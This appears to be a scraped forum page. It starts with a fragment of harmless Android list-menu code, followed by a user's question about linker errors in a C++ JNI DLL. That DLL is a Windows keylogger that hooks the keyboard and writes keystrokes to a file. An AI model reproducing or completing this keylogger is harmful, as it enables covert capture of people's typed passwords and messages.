"two" }); setListAdapter(mAdapter); registerForContextMenu(getListView()); } @Override public void onCreateContextMenu(ContextMenu menu, View v, ContextMenuInfo menuInfo) { super.onCreateContextMenu(menu, v, menuInfo); getMenuInflater().inflate(R.menu.my_lovely_menu, menu); } @Override public boolean onContextItemSelected(MenuItem item) { AdapterContextMenuInfo info = (AdapterContextMenuInfo) item.getMenuInfo(); switch (item.getItemId()) { case R.id.delete_item: Bundle bundle = new Bundle(); bundle.putInt(POSITION_KEY, info.position); showDialog(CONFIRM_DELETE_DIALOG, bundle); return true; default: return super.onContextItemSelected(item); } } @Override protected Dialog onCreateDialog(int id, Bundle args) { switch (id) { case CONFIRM_DELETE_DIALOG: final int position = args.getInt(POSITION_KEY); AlertDialog.Builder builder = new AlertDialog.Builder(); builder.setCancelable(false); builder.setTitle(String.format( getString(R.string.confirm_delete), mAdapter.getItem(position))); DialogInterface.OnClickListener listener = new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { switch (which) { case DialogInterface.BUTTON_POSITIVE: mAdapter.remove(mAdapter.getItem(position)); // Dismiss the dialog to ensure OnDismissListeners are notified. dialog.dismiss(); break; case DialogInterface.BUTTON_NEGATIVE: // Cancel the dialog to ensure OnCancelListeners are notified. dialog.cancel(); break; } // Remove the dialog so it is re-created next time it is required. removeDialog(CONFIRM_DELETE_DIALOG); } }; builder.setPositiveButton(android.R.string.yes, listener); builder.setNegativeButton(android.R.string.no, listener); return builder.create(); default: return super.onCreateDialog(id, args); } } }

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• Calling fuctions of header file

  - by navinbecse

  i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose... #define _WIN32_WINNT 0x0500 #include "keylogs.h" #include <fstream #include <windows.h using namespace std; ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p-vkCode) { // Invisible keys case VK_CAPITAL: out << ""; break; case VK_SHIFT: out << ""; break; case VK_LCONTROL: out << ""; break; case VK_RCONTROL: out << ""; break; case VK_INSERT: out << ""; break; case VK_END: out << ""; break; case VK_PRINT: out << ""; break; case VK_DELETE: out << ""; break; case VK_BACK: out << ""; break; case VK_SPACE: out << ""; break; case VK_RMENU: out << ""; break; case VK_LMENU: out << ""; break; case VK_LEFT: out << ""; break; case VK_RIGHT: out << ""; break; case VK_UP: out << ""; break; case VK_DOWN: out << ""; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject) { HINSTANCE hInstance=GetModuleHandle(0); HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); out.close(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // Set windows hook return 0; } The errors which i am getting is... file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals can any one help me please....

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